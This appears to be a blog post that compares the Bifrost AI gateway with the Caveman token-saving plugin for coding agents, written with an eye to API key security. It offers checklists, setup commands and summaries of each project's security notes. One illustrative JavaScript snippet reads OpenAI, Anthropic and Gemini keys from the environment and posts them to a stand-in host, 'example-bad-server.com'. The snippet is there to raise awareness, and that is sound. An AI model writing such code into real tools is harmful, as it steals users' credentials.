  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/maximhq/bifrost" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/JuliusBrussee" rel="noopener noreferrer"&gt;
        JuliusBrussee
      &lt;/a&gt; / &lt;a href="https://github.com/JuliusBrussee/caveman" rel="noopener noreferrer"&gt;
        caveman
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;p&gt;
  &lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/9e9c879d0179e6b0b9dbe2cab5ddbb9dedaf7962e1680c51b89f6f2d4aaa412a/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6170706c652f3339312f726f636b5f31666161382e706e67"&gt;&lt;img src="https://camo.githubusercontent.com/9e9c879d0179e6b0b9dbe2cab5ddbb9dedaf7962e1680c51b89f6f2d4aaa412a/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6170706c652f3339312f726f636b5f31666161382e706e67" width="120"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;caveman&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;
  &lt;strong&gt;why use many token when few do trick&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/32b08ac2815b5494dc93ae4bc0701891d91bea36607726bcb8707d18a2fd20df/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f4a756c697573427275737365652f636176656d616e3f7374796c653d666c617426636f6c6f723d79656c6c6f77" alt="Stars"&gt;&lt;/a&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/commits/main" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/f5eb8afd216bc2fb6d672c4a0777dcb6b5ffe6f0dd5f068b03cd0a9131fc382f/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f4a756c697573427275737365652f636176656d616e3f7374796c653d666c6174" alt="Last Commit"&gt;&lt;/a&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/9253d0d1f2485c5a52bfd72e20d397dcb7b5d2f6bba41da517837ed8a16f833c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f4a756c697573427275737365652f636176656d616e3f7374796c653d666c6174" alt="License"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman#before--after" rel="noopener noreferrer"&gt;Before/After&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#install" rel="noopener noreferrer"&gt;Install&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#intensity-levels" rel="noopener noreferrer"&gt;Levels&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-skills" rel="noopener noreferrer"&gt;Skills&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#benchmarks" rel="noopener noreferrer"&gt;Benchmarks&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#evals" rel="noopener noreferrer"&gt;Evals&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;strong&gt;🪨 Caveman Ecosystem&lt;/strong&gt;  · 
  &lt;strong&gt;caveman&lt;/strong&gt; &lt;em&gt;talk less&lt;/em&gt; (you are here)  · 
  &lt;a href="https://github.com/JuliusBrussee/cavemem" rel="noopener noreferrer"&gt;cavemem&lt;/a&gt; &lt;em&gt;remember more&lt;/em&gt;  · 
  &lt;a href="https://github.com/JuliusBrussee/cavekit" rel="noopener noreferrer"&gt;cavekit&lt;/a&gt; &lt;em&gt;build better&lt;/em&gt;
&lt;/p&gt;




&lt;p&gt;A &lt;a href="https://docs.anthropic.com/en/docs/claude-code" rel="nofollow noopener noreferrer"&gt;Claude Code&lt;/a&gt; skill/plugin and Codex plugin that makes agent talk like caveman — cutting &lt;strong&gt;~75% of output tokens&lt;/strong&gt; while keeping full technical accuracy. Now with &lt;a href="https://github.com/JuliusBrussee/caveman#%E6%96%87%E8%A8%80%E6%96%87-wenyan-mode" rel="noopener noreferrer"&gt;文言文 mode&lt;/a&gt;, &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-skills" rel="noopener noreferrer"&gt;terse commits / one-line reviews / lifetime stats&lt;/a&gt;, and a &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-compress-receipts" rel="noopener noreferrer"&gt;compression tool&lt;/a&gt; that cuts &lt;strong&gt;~46% of input tokens&lt;/strong&gt; every session.&lt;/p&gt;

&lt;p&gt;Based on the viral observation that caveman-speak dramatically reduces LLM token usage without losing technical substance. So we made it a one-line install.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Before / After&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;br&gt;
&lt;tbody&gt;
&lt;br&gt;
&lt;tr&gt;
&lt;br&gt;
&lt;td width="50%"&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;🗣️ Normal Claude (69 tokens)&lt;/h3&gt;
&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;"The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow…&lt;/p&gt;
&lt;/blockquote&gt;


&lt;/td&gt;
&lt;br&gt;
&lt;/tr&gt;
&lt;br&gt;
&lt;/tbody&gt;
&lt;br&gt;
&lt;/table&gt;&lt;/div&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/JuliusBrussee/caveman" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  Why API keys matter
&lt;/h2&gt;

&lt;p&gt;API keys are not just random strings you paste into &lt;code&gt;.env&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;They are billing access.&lt;/p&gt;

&lt;p&gt;If someone gets your OpenAI, Anthropic, Gemini, Groq, or other provider key, they may be able to burn usage under your account. Even if the provider catches it later, you still have a mess to clean up.&lt;/p&gt;

&lt;p&gt;That is why I get cautious when any tool asks me to connect model providers, route requests, install plugins, or run agent workflows.&lt;/p&gt;

&lt;p&gt;The questions I ask are simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Where does the key live?
Who can read it?
Does the tool log it?
Does the tool send it anywhere?
Does the tool need the key directly?
Can I scope or rotate the key?
Can I run this locally?
Can I inspect the code?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That is not paranoia. That is just basic developer survival now.&lt;/p&gt;
&lt;h2&gt;
  
  
  The scary version of this problem
&lt;/h2&gt;

&lt;p&gt;A bad tool could do something like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://example-bad-server.com/collect&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;anthropic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ANTHROPIC_API_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;gemini&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GEMINI_API_KEY&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That is the nightmare version.&lt;/p&gt;

&lt;p&gt;A tool gets installed, reads environment variables, and sends them somewhere else.&lt;/p&gt;

&lt;p&gt;I am not saying Bifrost or Caveman do this. I am saying this is the kind of thing developers should be aware of when they install AI tooling.&lt;/p&gt;

&lt;p&gt;If a program can read your environment and make network requests, it has enough access to do damage if the code is malicious.&lt;/p&gt;
&lt;h2&gt;
  
  
  How I check AI tools before trusting them
&lt;/h2&gt;

&lt;p&gt;This is the checklist I use now.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Is the repo open source?
2. Does it have recent commits?
3. Does it have issues and pull requests?
4. Does it have a SECURITY.md file?
5. Does it explain how API keys are stored?
6. Does it explain what files it reads and writes?
7. Does it make network requests?
8. Does it run subprocesses?
9. Does it use shell=True or unsafe command construction?
10. Does it ask for more permission than it needs?
11. Can I test it with a throwaway key?
12. Can I revoke the key immediately after testing?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;No single answer proves a tool is safe, but this gives me a better starting point than just trusting a clean landing page.&lt;/p&gt;
&lt;h2&gt;
  
  
  Where Bifrost fits
&lt;/h2&gt;

&lt;p&gt;Bifrost is an AI gateway.&lt;/p&gt;

&lt;p&gt;That means it sits between your application or agent and your model providers.&lt;/p&gt;

&lt;p&gt;Instead of this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;App -&amp;gt; OpenAI
App -&amp;gt; Anthropic
App -&amp;gt; Gemini
Agent -&amp;gt; MCP tools
Agent -&amp;gt; Provider keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You get something closer to this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;App / Agent -&amp;gt; Bifrost -&amp;gt; Providers
                     -&amp;gt; Routing
                     -&amp;gt; Virtual keys
                     -&amp;gt; Logs
                     -&amp;gt; Governance
                     -&amp;gt; MCP controls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That can be useful.&lt;/p&gt;

&lt;p&gt;It also means Bifrost is close to sensitive things. A gateway may handle provider keys, virtual keys, request logs, model routing, and tool permissions.&lt;/p&gt;

&lt;p&gt;That is not automatically bad. That is literally the point of a gateway. But it means setup and security matter.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Bifrost says about key handling
&lt;/h2&gt;

&lt;p&gt;Bifrost’s security file directly calls out API key management. It says Bifrost handles provider API keys, and that keys should be stored securely, not committed to version control, and managed with environment variables or a secrets manager.&lt;/p&gt;

&lt;p&gt;That is the right kind of warning to see in a project like this.&lt;/p&gt;

&lt;p&gt;Security file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/maximhq/bifrost/blob/main/SECURITY.md" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Read Bifrost SECURITY.md&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;The Bifrost security notes also mention restricting access to the admin interface and API endpoints with firewalls, VPNs, or authentication layers when exposing it beyond local use.&lt;/p&gt;

&lt;p&gt;That part matters.&lt;/p&gt;

&lt;p&gt;Running something on &lt;code&gt;localhost&lt;/code&gt; during testing is one thing.&lt;/p&gt;

&lt;p&gt;Exposing an AI gateway to the internet is different.&lt;/p&gt;
&lt;h2&gt;
  
  
  Basic Bifrost local setup
&lt;/h2&gt;

&lt;p&gt;The basic local setup is simple:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx &lt;span class="nt"&gt;-y&lt;/span&gt; @maximhq/bifrost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:8080 &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;/data:/app/data maximhq/bifrost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Then the dashboard should be available at:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Official setup guide:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.getbifrost.ai/quickstart/gateway/setting-up" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Open the official Bifrost setup guide&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;Official repo image:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxq4mq8hkkqro0n0b23mc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxq4mq8hkkqro0n0b23mc.png" alt="Bifrost quick start" width="800" height="315"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What Bifrost is good for
&lt;/h2&gt;

&lt;p&gt;Bifrost makes more sense when you need a control layer.&lt;/p&gt;

&lt;p&gt;Things like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;routing between multiple model providers&lt;/li&gt;
&lt;li&gt;managing provider keys in one place&lt;/li&gt;
&lt;li&gt;virtual keys&lt;/li&gt;
&lt;li&gt;budgets&lt;/li&gt;
&lt;li&gt;audit logs&lt;/li&gt;
&lt;li&gt;model access rules&lt;/li&gt;
&lt;li&gt;MCP governance&lt;/li&gt;
&lt;li&gt;tool access control&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is different from a small script that just calls one model.&lt;/p&gt;

&lt;p&gt;If you are only testing one provider locally, Bifrost may be more setup than you need.&lt;/p&gt;

&lt;p&gt;If you are wiring agents, providers, local models, and MCP tools together, a gateway starts to make more sense.&lt;/p&gt;
&lt;h2&gt;
  
  
  Where Bifrost makes me cautious
&lt;/h2&gt;

&lt;p&gt;This is not an accusation. This is just how I think about anything that handles keys.&lt;/p&gt;

&lt;p&gt;Bifrost is powerful because it sits in the middle.&lt;/p&gt;

&lt;p&gt;That also means I need to care about:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Who can open the dashboard?
Where are provider keys stored?
Are logs storing prompt data?
Are virtual keys scoped correctly?
Is the gateway exposed outside localhost?
Are plugins trusted?
Can MCP tools read files they should not read?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A gateway can improve security, but only if it is configured correctly.&lt;/p&gt;

&lt;p&gt;Bad setup can still create risk.&lt;/p&gt;
&lt;h2&gt;
  
  
  Where Caveman fits
&lt;/h2&gt;

&lt;p&gt;Caveman solves a different problem.&lt;/p&gt;

&lt;p&gt;Caveman is not an AI gateway.&lt;/p&gt;

&lt;p&gt;It is a plugin/skill that makes Claude Code, Codex-style workflows, Gemini CLI, Cursor, Windsurf, Cline, Copilot, and other agents respond with fewer words.&lt;/p&gt;

&lt;p&gt;The idea is simple:&lt;/p&gt;

&lt;p&gt;Why pay for long responses when short responses get the job done?&lt;/p&gt;

&lt;p&gt;Caveman repo:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/JuliusBrussee" rel="noopener noreferrer"&gt;
        JuliusBrussee
      &lt;/a&gt; / &lt;a href="https://github.com/JuliusBrussee/caveman" rel="noopener noreferrer"&gt;
        caveman
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;p&gt;
  &lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/9e9c879d0179e6b0b9dbe2cab5ddbb9dedaf7962e1680c51b89f6f2d4aaa412a/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6170706c652f3339312f726f636b5f31666161382e706e67"&gt;&lt;img src="https://camo.githubusercontent.com/9e9c879d0179e6b0b9dbe2cab5ddbb9dedaf7962e1680c51b89f6f2d4aaa412a/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6170706c652f3339312f726f636b5f31666161382e706e67" width="120"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;caveman&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;
  &lt;strong&gt;why use many token when few do trick&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/32b08ac2815b5494dc93ae4bc0701891d91bea36607726bcb8707d18a2fd20df/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f4a756c697573427275737365652f636176656d616e3f7374796c653d666c617426636f6c6f723d79656c6c6f77" alt="Stars"&gt;&lt;/a&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/commits/main" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/f5eb8afd216bc2fb6d672c4a0777dcb6b5ffe6f0dd5f068b03cd0a9131fc382f/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f4a756c697573427275737365652f636176656d616e3f7374796c653d666c6174" alt="Last Commit"&gt;&lt;/a&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/9253d0d1f2485c5a52bfd72e20d397dcb7b5d2f6bba41da517837ed8a16f833c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f4a756c697573427275737365652f636176656d616e3f7374796c653d666c6174" alt="License"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman#before--after" rel="noopener noreferrer"&gt;Before/After&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#install" rel="noopener noreferrer"&gt;Install&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#intensity-levels" rel="noopener noreferrer"&gt;Levels&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-skills" rel="noopener noreferrer"&gt;Skills&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#benchmarks" rel="noopener noreferrer"&gt;Benchmarks&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#evals" rel="noopener noreferrer"&gt;Evals&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;strong&gt;🪨 Caveman Ecosystem&lt;/strong&gt;  · 
  &lt;strong&gt;caveman&lt;/strong&gt; &lt;em&gt;talk less&lt;/em&gt; (you are here)  · 
  &lt;a href="https://github.com/JuliusBrussee/cavemem" rel="noopener noreferrer"&gt;cavemem&lt;/a&gt; &lt;em&gt;remember more&lt;/em&gt;  · 
  &lt;a href="https://github.com/JuliusBrussee/cavekit" rel="noopener noreferrer"&gt;cavekit&lt;/a&gt; &lt;em&gt;build better&lt;/em&gt;
&lt;/p&gt;




&lt;p&gt;A &lt;a href="https://docs.anthropic.com/en/docs/claude-code" rel="nofollow noopener noreferrer"&gt;Claude Code&lt;/a&gt; skill/plugin and Codex plugin that makes agent talk like caveman — cutting &lt;strong&gt;~75% of output tokens&lt;/strong&gt; while keeping full technical accuracy. Now with &lt;a href="https://github.com/JuliusBrussee/caveman#%E6%96%87%E8%A8%80%E6%96%87-wenyan-mode" rel="noopener noreferrer"&gt;文言文 mode&lt;/a&gt;, &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-skills" rel="noopener noreferrer"&gt;terse commits / one-line reviews / lifetime stats&lt;/a&gt;, and a &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-compress-receipts" rel="noopener noreferrer"&gt;compression tool&lt;/a&gt; that cuts &lt;strong&gt;~46% of input tokens&lt;/strong&gt; every session.&lt;/p&gt;

&lt;p&gt;Based on the viral observation that caveman-speak dramatically reduces LLM token usage without losing technical substance. So we made it a one-line install.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Before / After&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;br&gt;
&lt;tbody&gt;
&lt;br&gt;
&lt;tr&gt;
&lt;br&gt;
&lt;td width="50%"&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;🗣️ Normal Claude (69 tokens)&lt;/h3&gt;
&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;"The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow…&lt;/p&gt;
&lt;/blockquote&gt;


&lt;/td&gt;
&lt;br&gt;
&lt;/tr&gt;
&lt;br&gt;
&lt;/tbody&gt;
&lt;br&gt;
&lt;/table&gt;&lt;/div&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/JuliusBrussee/caveman" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;The repo describes it as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;why use many token when few do trick
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is funny, but it also points at a real issue.&lt;/p&gt;

&lt;p&gt;AI tools talk too much.&lt;/p&gt;

&lt;p&gt;A lot of the response is padding. Caveman tries to remove that padding while keeping the technical meaning.&lt;/p&gt;

&lt;h2&gt;
  
  
  Caveman before and after
&lt;/h2&gt;

&lt;p&gt;The repo gives examples like this:&lt;/p&gt;

&lt;p&gt;Normal response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow comparison sees it as a different object every time, which triggers a re-render. I'd recommend using useMemo to memoize the object.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caveman-style response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;New object ref each render. Inline object prop = new ref = re-render. Wrap in useMemo.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same idea. Fewer words.&lt;/p&gt;

&lt;p&gt;That is useful for coding-agent workflows because a lot of devs do not need a paragraph of reassurance every time the agent finds a bug.&lt;/p&gt;

&lt;p&gt;Sometimes I just want the fix.&lt;/p&gt;

&lt;h2&gt;
  
  
  Caveman benchmarks
&lt;/h2&gt;

&lt;p&gt;The Caveman repo claims average output-token savings around 65% across its benchmark set.&lt;/p&gt;

&lt;p&gt;It also explains that Caveman affects output tokens, not thinking or reasoning tokens.&lt;/p&gt;

&lt;p&gt;That distinction matters.&lt;/p&gt;

&lt;p&gt;Caveman does not make the model “think less.” It makes the model “talk less.”&lt;/p&gt;

&lt;p&gt;That is a better claim than pretending it magically reduces every part of the bill.&lt;/p&gt;

&lt;h2&gt;
  
  
  Caveman-compress
&lt;/h2&gt;

&lt;p&gt;Caveman also has &lt;code&gt;caveman-compress&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That tool is aimed at compressing memory files like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLAUDE.md
project notes
todo files
preferences
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The idea is that if a coding agent reads the same memory file every session, a smaller file means less repeated context.&lt;/p&gt;

&lt;p&gt;Caveman-compress README:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/JuliusBrussee/caveman/blob/main/caveman-compress/README.md" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Read caveman-compress README&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;The repo says it creates a compressed version and keeps a human-readable backup like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLAUDE.md
CLAUDE.original.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the kind of workflow I like better than tools that silently rewrite your files without a backup.&lt;/p&gt;

&lt;h2&gt;
  
  
  Caveman security notes
&lt;/h2&gt;

&lt;p&gt;Caveman-compress has a &lt;code&gt;SECURITY.md&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That is already better than a lot of small tools.&lt;/p&gt;

&lt;p&gt;The security file explains why static analysis may flag it as high risk. It uses subprocess behavior as a fallback when &lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt; is not set, but the maintainers say the subprocess call uses a fixed argument list, does not use shell interpolation, and passes user file content through stdin.&lt;/p&gt;

&lt;p&gt;Security file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/JuliusBrussee/caveman/blob/main/caveman-compress/SECURITY.md" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Read Caveman security notes&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;The same security file says the tool:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;does not execute user file content as code&lt;/li&gt;
&lt;li&gt;does not make network requests except to Anthropic’s API through SDK or CLI&lt;/li&gt;
&lt;li&gt;does not access files outside the path the user provides&lt;/li&gt;
&lt;li&gt;does not use &lt;code&gt;shell=True&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;does not collect or transmit data beyond the file being compressed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is the kind of explanation I want to see when a tool reads and writes local files.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bifrost vs Caveman
